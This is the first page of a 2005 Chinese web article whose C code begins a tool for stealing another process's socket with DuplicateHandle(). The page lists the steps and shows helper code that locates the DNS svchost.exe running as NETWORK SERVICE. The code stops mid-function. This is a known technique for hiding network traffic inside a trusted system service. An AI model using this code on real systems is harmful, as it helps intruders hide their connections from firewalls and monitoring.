1. 找出目标进程
2. 找出SOCKET句柄
2. 用DuplicateHandle()函数将其SOCKET转换为能被自己使用
3. 用转换后的SOCKET进行数据传输

CODE:
/*++

Made By ZwelL
[email]zwell@sohu.com[/email]
2005.4.12
--*/

#include <winsock2.h>
#include <stdio.h>
#include <wtsapi32.h>

#pragma comment(lib, "ws2_32")
#pragma comment(lib, "wtsapi32")

#define NT_SUCCESS(status)       ((NTSTATUS)(status)>=0)
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)

typedef LONG   NTSTATUS;

typedef struct _SYSTEM_HANDLE_INFORMATION
{
  ULONG         ProcessId;
  UCHAR         ObjectTypeNumber;
  UCHAR         Flags;
  USHORT         Handle;
  PVOID         Object;
  ACCESS_MASK     GrantedAccess;
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;

typedef ULONG (WINAPI *ZWQUERYSYSTEMINFORMATION)(ULONG, PVOID, ULONG, PULONG);

ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation = NULL;

BOOL LocateNtdllEntry ( void )
{
  BOOL   ret       = FALSE;
  char   NTDLL_DLL[] = "ntdll.dll";
  HMODULE ntdll_dll   = NULL;


  if ( ( ntdll_dll = GetModuleHandle( NTDLL_DLL ) ) == NULL )
  {
    printf( "GetModuleHandle() failed");
    return( FALSE );
  }
  if ( !( ZwQuerySystemInformation = ( ZWQUERYSYSTEMINFORMATION )GetProcAddress
( ntdll_dll, "ZwQuerySystemInformation" ) ) )
  {
    goto LocateNtdllEntry_exit;
  }
  ret = TRUE;

LocateNtdllEntry_exit:

  if ( FALSE == ret )
  {
    printf( "GetProcAddress() failed");
  }
  ntdll_dll = NULL;
  return( ret );
}


/*++
This routine is used to get a process's username from it's SID
--*/
BOOL GetUserNameFromSid(PSID pUserSid, char *szUserName)
{
  // sanity checks and default value
  if (pUserSid == NULL)
    return false;
  strcpy(szUserName, "?");

  SID_NAME_USE   snu;
  TCHAR       szUser[_MAX_PATH];
  DWORD       chUser = _MAX_PATH;
  PDWORD       pcchUser = &chUser; 
  TCHAR       szDomain[_MAX_PATH];
  DWORD       chDomain = _MAX_PATH;
  PDWORD       pcchDomain = &chDomain;

  // Retrieve user name and domain name based on user's SID.
  if (
    ::LookupAccountSid(
    NULL, 
    pUserSid, 
    szUser, 
    pcchUser, 
    szDomain, 
    pcchDomain, 
    &snu
    )
    )
  {
    wsprintf(szUserName, "%s", szUser);
  }
  else
  {
    return false;
  }

  return true;
} 


/*++

This routine is used to get the DNS process's Id

Here, I use WTSEnumerateProcesses to get process user Sid, 
and then get the process user name. Beacause as it's a "NETWORK SERVICE", 
we cann't use OpenProcessToken to catch the DNS process's token information,
even if we has the privilege in catching the SYSTEM's.

--*/
DWORD GetDNSProcessId()
{
  PWTS_PROCESS_INFO pProcessInfo = NULL;
  DWORD         ProcessCount = 0;
  char         szUserName[255];
  DWORD         Id = -1;

  if (WTSEnumerateProcesses(WTS_CURRENT_SERVER_HANDLE, 0, 1, &pProcessInfo, &ProcessCount))
  {
    // dump each process description
    for (DWORD CurrentProcess = 0; CurrentProcess < ProcessCount; CurrentProcess++)
    {

        if( strcmp(pProcessInfo[CurrentProcess].pProcessName, "svchost.exe") == 0 )
        {
          GetUserNameFromSid(pProcessInfo[CurrentProcess].pUserSid, szUserName);
          if( strcmp(szUserName, "NETWORK SERVICE") == 0)
          {
            Id = pProcessInfo[CurrentProcess].ProcessId;
            break;
          }
        }
    }

    WTSFreeMemory(pProcessInfo);
  }

  return Id;
}


/*++
This doesn't work as we know, sign...
but you can use the routine for other useing...
--*/
/*
BOOL GetProcessUserFromId(char *szAccountName, DWORD PID)
{
  HANDLE hProcess = NULL, 
        h 
 
本文章更多内容：1 - 2 - 3 - 下一页>>
本页地址